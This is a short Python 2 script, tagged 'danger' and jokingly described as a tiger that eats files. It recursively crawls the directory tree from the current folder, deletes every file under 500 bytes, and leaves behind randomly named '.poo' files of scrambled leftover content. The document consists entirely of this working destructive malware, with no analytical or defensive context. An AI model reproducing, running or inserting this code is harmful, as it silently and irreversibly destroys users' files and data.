#!/usr/bin/python # TYPE:danger # DESC:Tigre, le mangeur de petites animaux. Searches through your directories for yummy files, and eats them. Leaves behind .poo files. from dircache import * from stat import * from random import * import sys,os,re from string import * def poo(guts): try: excrement='' poosize = len(guts)/4 for i in range(0, poosize): excrement=excrement+guts[randint(0,len(guts)-1)] place = str(randint(100,1000))+'.poo' pooplace = open(place, "w") pooplace.write(excrement) except IOError: pass def eat(food): try: if int(os.stat(food)[ST_SIZE])<500 and not re.search('tiger.py', food) and not re.search('poo', food): carcas = open(food, "r") guts = carcas.read() carcas.close() os.remove(food) poo(guts) except IOError: pass def sniff(area): try: if not S_ISLNK(os.stat(area)[ST_MODE]): menu = listdir(area) if area != "/": area = area+"/" for item in menu: eat(area+item) sniff(area+item) except OSError: pass here=replace(split(os.getcwd(),":")[-1], "\\", "/") sniff(here)